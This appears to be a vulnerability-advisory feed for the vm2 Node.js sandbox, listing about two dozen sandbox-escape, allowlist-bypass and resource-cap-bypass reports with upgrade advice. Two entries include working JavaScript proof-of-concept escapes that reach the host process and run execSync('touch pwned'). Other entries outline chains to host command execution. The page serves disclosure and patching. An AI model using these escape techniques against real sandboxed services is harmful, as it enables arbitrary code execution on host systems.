Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
77 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
vm2 3.11.6 exposes Node.js's host node:sqlite module to NodeVM code when that builtin is allowed explicitly or through builtin: ['']. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the plugin directory. SQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox. The exploit needs only the node:sqlite builtin and a compatible native library already present in the untrusted plugin package. It does not require fs, process, module, childprocess, workerthreads, vm, inspector, vm2 nesting, or an existing database file. Details The vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper. On current Node.js versions,…
Recommended action: Upgrade to 3.11.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
vm2 3.11.6 exposes the host crypto module to a NodeVM when that single builtin is allowed. The module is presented through a read-only bridge, but its functions still execute with host-process authority. crypto.setEngine() accepts a filesystem path and asks OpenSSL to dynamically load the referenced native library. An attacker whose untrusted plugin package contains a native library can therefore load that library into the host process by calling crypto.setEngine() from sandboxed JavaScript. The native library's constructor executes before OpenSSL finishes validating whether the file is a usable engine. Consequently, even the expected ERRCRYPTOENGINEUNKNOWN exception occurs only after arbitrary native code has already run. The exploit requires only the crypto builtin. It does not require fs, process, module, childprocess, workerthreads, vm, inspector, unrestricted builtins, or vm2 nesting. Details The vulnerable boundary is the generic builtin loader. Builtins that are not…
Recommended action: Upgrade to 3.11.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Reporter - Name or handle: [YMsora] - Report date: 2026-08-14 Summary The latest published vm2 release, 3.11.5, and the current main branch are vulnerable to a sandbox escape when used on Node.js 26. An ordinary fulfilled Promise created by an async function can retain an attacker-controlled constructor[Symbol.species] across Promise.prototype.finally(). vm2 installs wrappers on the intrinsic Promise.prototype.then and catch methods. On Node.js 26 / V8 14.6, V8's SetPrototypeProperties path updates these existing data properties without invalidating the PromiseThenLookupChain protector. Promise.prototype.finally() subsequently trusts the stale protector and uses an internal InvokeThen fast path that calls the original native then, bypassing vm2's wrapper and its resetPromiseSpecies(this) hardening. The attacker-controlled species constructor therefore supplies the resolve and reject functions used by a native Promise reaction. A calibrated stack overflow at that native reaction…
Recommended action: Upgrade to 3.11.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
vm2 3.11.6 exposes the host tls module to a NodeVM when that builtin is explicitly allowed. Although the module object is wrapped as read-only, its functions still execute against process-wide host state. On Node.js versions that provide tls.setDefaultCACertificates(), sandbox code can replace the certificate authorities trusted by subsequent host-realm TLS clients. The exploit needs only the narrowly allowed tls and url builtins. It does not require fs, process, module, childprocess, an external package, or a general '' builtin grant. A host HTTPS request rejected an attacker certificate before sandbox execution, then accepted the same certificate and returned an application marker after the sandbox replaced the default CA list. This crosses the intended sandbox boundary. An attacker can make host HTTPS clients trust an attacker-controlled CA, enabling credential theft and response tampering when the attacker can influence a subsequent destination or network path. Replacing…
Recommended action: Upgrade to 3.11.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
isPathAllowedForModule decides whether a resolved path belongs to an allowlisted external module using a raw string prefix test. nodemodules/foo2 starts with nodemodules/foo, so a package whose name merely shares a prefix with an allowlisted one is treated as being inside it, and a relative require from the allowlisted package reaches it even with transitive loading disabled. Where it is lib/resolver-compat.js, lines 122 to 132, quoted from HEAD 7a1f5100b96f48d34e0fe104ab37c0acc5944f92: With mod.path of .../nodemodules/foo and a resolved path of .../nodemodules/foo2/index.js, startsWith is true and rem is 2/index.js, which contains no nodemodules segment, so the function returns true. The nodemodules test in rem is what stops a genuine transitive dependency from slipping through. It does not stop a sibling, because a sibling's remainder never contains that segment. Impact Code running in NodeVM under an external module allowlist with transitive: false can reach a package that…
Recommended action: Upgrade to 3.11.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap. Details: The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359). However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense. A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous…
Recommended action: Upgrade to 3.11.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
NodeVM builtin: [''] exposes os and dns — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f) CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in lib/builtin.js and as Category 35 / GHSA-9g8x in docs/ATTACKS.md. CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L → 9.3 (Critical) (Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because os.userInfo() returns host UID/GID/username/homedir + os.networkInterfaces() returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because dns.setServers() is a process-wide write that hijacks every subsequent DNS lookup the host makes —…
Recommended action: Upgrade to 3.11.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous. PoC Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Recommended action: Upgrade to 3.11.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process) Summary I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host. The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim. Root Cause The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it…
Recommended action: Upgrade to 3.11.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
vm2 bufferAllocLimit cap bypassed by Buffer.concat and Buffer.from arrayLike The bufferAllocLimit option introduced in 3.11.0 (GHSA-6785-pvv7-mvg7) caps host-side Buffer allocations driven by sandbox code, the way embedders opt into timeout. The cap wraps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. Two other API paths reach the same host C++ allocator with an attacker-controlled size and are not capped: Buffer.concat(list, totalLength) and Buffer.from(arrayLike) with a fake length. Sandbox code can use either to allocate an arbitrary number of host external bytes in a single call, defeating the explicit DoS mitigation the embedder configured. Details lib/setup-sandbox.js installs checkBufferAllocLimit at every wrapped entry to host Buffer allocation: - alloc() at lib/setup-sandbox.js:474 and the connect(alloc, host.Buffer.alloc) at line 480. - allocUnsafe() at line 488 and connect(allocUnsafe,…
Recommended action: Upgrade to 3.11.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
NodeVM exposes some process-wide observability builtins when they are allowed through require.builtin. The following builtins are not blocked by the dangerous builtin denylist: These modules are process-wide, not sandbox-local. Sandboxed code can use them to observe host application data across the vm2 boundary. Note: It is a host data exposure issue. The impact depends on whether the host application allows these builtins and uses HTTP, async request context, diagnostics channels, or performance marks in the same process. Details Non-denied builtins are exposed to the sandbox through lib/builtin.js: diagnosticschannel, asynchooks, and perfhooks are not denied. These modules expose host process state rather than sandbox-local state. Confirmed examples: 1. diagnosticschannel lets sandboxed code subscribe to Node.js HTTP diagnostic channels such as http.server.request.start. The sandbox receives host HTTP request objects and can read headers such as Authorization or session…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
NodeVM supports excluding public network builtins from the wildcard builtin option. With this configuration direct access to http, https, http2, net, dgram, tls, dns, and dns/promises is blocked. However, Node.js also exposes underscored internal HTTP builtins such as httpclient and httpserver. These are not blocked when the public modules are excluded. Sandboxed code can use these internal builtins to make outbound HTTP requests and open listening HTTP sockets even though the public network modules are denied. Note: This is not host RCE. It is a network capability bypass that can lead to SSRF-style access to internal services. Details The wildcard builtin expansion is based on Node.js builtin module names: Public modules can be excluded with -name: But excluding http and net does not exclude internal siblings such as: These internal modules expose network primitives. Confirmed examples: 1. require('httpclient').ClientRequest(...) performs an outbound HTTP request to a…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
NodeVM blocks several dangerous Node.js builtins such as module, workerthreads, cluster, vm, repl, and inspector. However, the denylist misses process and inspector/promises. Both can be used from sandboxed code to reach host-side execution primitives. This allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process. Details The dangerous builtin denylist is defined in lib/builtin.js. This list does not include: Non-denied builtins are exposed to the sandbox through: Because of this, sandboxed code can bypass the expected restrictions in two ways: 1. require('process').getBuiltinModule('childprocess') reloads childprocess, even when childprocess is excluded. 2. require('inspector/promises') exposes the Inspector protocol and can call Runtime.evaluate in the host process. PoC Tested on: Run from the vm2 repository root: dangerous-builtin-denylist-rce.js The PoC first confirms the intended restrictions work: Then it bypasses them: This…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised. Details On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises. That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. Root Cause Impact Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can: 1. require('vm2') to get the vm2 library 2. Construct an inner NodeVM with require: { builtin: ['childprocess'] } 3. Execute arbitrary OS commands via childprocess.execSync The inner VM is completely unconstrained…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. Vulnerable Code Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: Combined with the…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. Root Cause 1. Incomplete Symbol.for override (setup-sandbox.js:132-142): Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols: - nodejs.util.promisify.custom - nodejs.stream.readable - nodejs.stream.writable - nodejs.stream.duplex - nodejs.stream.transform - nodejs.webstream.isClosedPromise - nodejs.webstream.controllerErrorFunction Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source. 2. Missing symbol check in bridge…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. PoC Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
defaultSandboxPrepareStackTrace in lib/setup-sandbox.js (lines 605, 607) appends to a fresh sandbox-realm lines = [] via lines[lines.length] = value. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in neutralizeArraySpeciesBatch and codified as Defense Invariant #11 ("Bridge-internal containers must not invoke sandbox code"). A sandbox-installed Array.prototype[N] setter fires during the bridge's safe-default stack-trace formatting and observes / intercepts each appended line. Details The post-9qj6 audit note in docs/ATTACKS.md (line 2111) states: Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier. The audit is scoped to lib/bridge.js. lib/setup-sandbox.js was not covered. defaultSandboxPrepareStackTrace (added…
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. PoC Impact Sandbox Escape → RCE
Recommended action: Upgrade to 3.11.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details It is possible to catch a host exception using the yield expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield iterator as the next value. PoC Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Recommended action: Upgrade to 3.11.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched. Details It is still possible to get access to VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL. PoC
Recommended action: Upgrade to 3.11.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {proto: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2…
Recommended action: Upgrade to 3.11.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object. PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } }); new Buffer(a); `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Recommended action: Upgrade to 3.11.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised. Details The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver. `lib/nodevm.js:96-99` — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox: ```js const NESTING_OVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader }); ``` `lib/nodevm.js:268-269` — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options: ```js const customResolver = requireOpts instanceof Resolver; const resolver…
Recommended action: Upgrade to 3.11.1 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.